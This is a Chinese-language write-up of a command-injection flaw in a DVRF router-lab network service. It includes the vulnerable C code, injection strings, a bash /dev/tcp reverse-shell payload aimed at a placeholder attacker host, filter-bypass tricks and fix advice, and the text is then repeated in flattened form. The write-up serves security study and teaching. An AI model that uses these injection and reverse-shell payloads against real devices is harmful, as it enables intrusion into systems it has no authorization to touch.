路由器漏洞挖掘之命令执行
字数 1097 2025-08-22 12:22:36

路由器漏洞挖掘之命令执行漏洞分析与利用

漏洞概述

本文分析的是一个典型的IoT设备命令注入漏洞案例,来源于DVRF项目的pwnable/ShellCode_Required/socket_cmd程序。该漏洞存在于一个网络服务程序中,允许攻击者通过精心构造的输入实现任意命令执行。

漏洞代码分析

程序功能

程序是一个简单的网络服务,主要功能包括:

  1. 绑定到指定端口进行监听
  2. 接受客户端连接
  3. 读取客户端发送的字符串
  4. 执行echo命令输出该字符串
  5. 将结果返回给客户端

关键代码片段

while(1) {
    bzero(str, 200);
    write(comm_fd, "Send me a string:",17);
    read(comm_fd,str,200);
    
    if (!strcasecmp(str, "exit")){
        write(comm_fd, "Exiting...");
        exit(0);
    }
    
    snprintf(endstr, sizeof(endstr), "echo %s", str);
    system(endstr);
    
    bzero(endstr, 100);
    snprintf(endstr, sizeof(endstr), "You sent me %s", str);
    write(comm_fd, endstr, strlen(endstr)+1);
}

漏洞点

漏洞存在于以下代码行:

snprintf(endstr, sizeof(endstr), "echo %s", str);
system(endstr);

程序直接将用户输入str拼接到echo命令后,然后通过system()函数执行,没有进行任何过滤或转义。

漏洞利用方法

基本注入方式

由于用户输入被直接拼接到echo命令后,可以使用以下方式注入额外命令:

  1. 分号(;)注入

    123;ls
    

    这将执行echo 123ls两个命令

  2. 管道符(|)注入

    123|ls
    

    这将执行echo 123并将输出通过管道传递给ls命令

反弹shell技术

由于命令执行结果只在服务端显示,我们需要反弹shell来获取交互式访问:

  1. 基本反弹shell命令:

    bash -i >& /dev/tcp/ip/port 0>&1
    
  2. 实际利用时需要绕过空格限制:

    123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
    

    使用bash -c将整个反弹shell命令作为参数传递

利用步骤

  1. 在攻击机上监听端口:

    nc -lvnp 4444
    
  2. 连接目标服务并发送payload:

    nc target_ip target_port
    Send me a string:123;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
    

漏洞修复建议

  1. 输入验证

    • 对用户输入进行严格过滤,禁止特殊字符如;|&
    • 使用白名单机制,只允许特定字符集
  2. 安全函数使用

    • 避免直接使用system()函数执行用户输入
    • 使用execve()等更安全的函数,并明确指定参数
  3. 最小权限原则

    • 以最低权限运行服务程序
    • 使用chroot等机制限制文件系统访问

扩展思考

  1. 其他注入方式

    • 反引号(`)命令替换
    • $(command)形式的命令替换
    • &&||逻辑操作符利用
  2. 输出重定向利用

    • 可以将命令结果写入web目录,然后通过HTTP访问
    • 使用DNS或ICMP等协议外带数据
  3. 绕过技术

    • 当特殊字符被过滤时,可以使用变量替换、编码等方式绕过
    • 例如:${IFS}代替空格,$()代替反引号

总结

该案例展示了IoT设备中常见的命令注入漏洞模式,通过分析我们可以了解到:

  1. 不安全的用户输入处理会导致严重的安全问题
  2. 简单的网络服务也可能存在高危漏洞
  3. 命令注入漏洞的利用方式多样,防御需要考虑全面
  4. 在IoT设备固件分析中,应特别关注网络服务中的命令执行点

这种类型的漏洞在路由器等IoT设备中较为常见,是固件安全分析的重点检查项之一。

路由器漏洞挖掘之命令执行漏洞分析与利用 漏洞概述 本文分析的是一个典型的IoT设备命令注入漏洞案例,来源于DVRF项目的 pwnable/ShellCode_Required/socket_cmd 程序。该漏洞存在于一个网络服务程序中,允许攻击者通过精心构造的输入实现任意命令执行。 漏洞代码分析 程序功能 程序是一个简单的网络服务,主要功能包括: 绑定到指定端口进行监听 接受客户端连接 读取客户端发送的字符串 执行 echo 命令输出该字符串 将结果返回给客户端 关键代码片段 漏洞点 漏洞存在于以下代码行: 程序直接将用户输入 str 拼接到 echo 命令后,然后通过 system() 函数执行,没有进行任何过滤或转义。 漏洞利用方法 基本注入方式 由于用户输入被直接拼接到 echo 命令后,可以使用以下方式注入额外命令: 分号(;)注入 : 这将执行 echo 123 和 ls 两个命令 管道符(|)注入 : 这将执行 echo 123 并将输出通过管道传递给 ls 命令 反弹shell技术 由于命令执行结果只在服务端显示,我们需要反弹shell来获取交互式访问: 基本反弹shell命令: 实际利用时需要绕过空格限制: 使用 bash -c 将整个反弹shell命令作为参数传递 利用步骤 在攻击机上监听端口: 连接目标服务并发送payload: 漏洞修复建议 输入验证 : 对用户输入进行严格过滤,禁止特殊字符如 ; 、 | 、 & 等 使用白名单机制,只允许特定字符集 安全函数使用 : 避免直接使用 system() 函数执行用户输入 使用 execve() 等更安全的函数,并明确指定参数 最小权限原则 : 以最低权限运行服务程序 使用chroot等机制限制文件系统访问 扩展思考 其他注入方式 : 反引号( ` )命令替换 $(command) 形式的命令替换 && 和 || 逻辑操作符利用 输出重定向利用 : 可以将命令结果写入web目录,然后通过HTTP访问 使用DNS或ICMP等协议外带数据 绕过技术 : 当特殊字符被过滤时,可以使用变量替换、编码等方式绕过 例如: ${IFS} 代替空格, $() 代替反引号 总结 该案例展示了IoT设备中常见的命令注入漏洞模式,通过分析我们可以了解到: 不安全的用户输入处理会导致严重的安全问题 简单的网络服务也可能存在高危漏洞 命令注入漏洞的利用方式多样,防御需要考虑全面 在IoT设备固件分析中,应特别关注网络服务中的命令执行点 这种类型的漏洞在路由器等IoT设备中较为常见,是固件安全分析的重点检查项之一。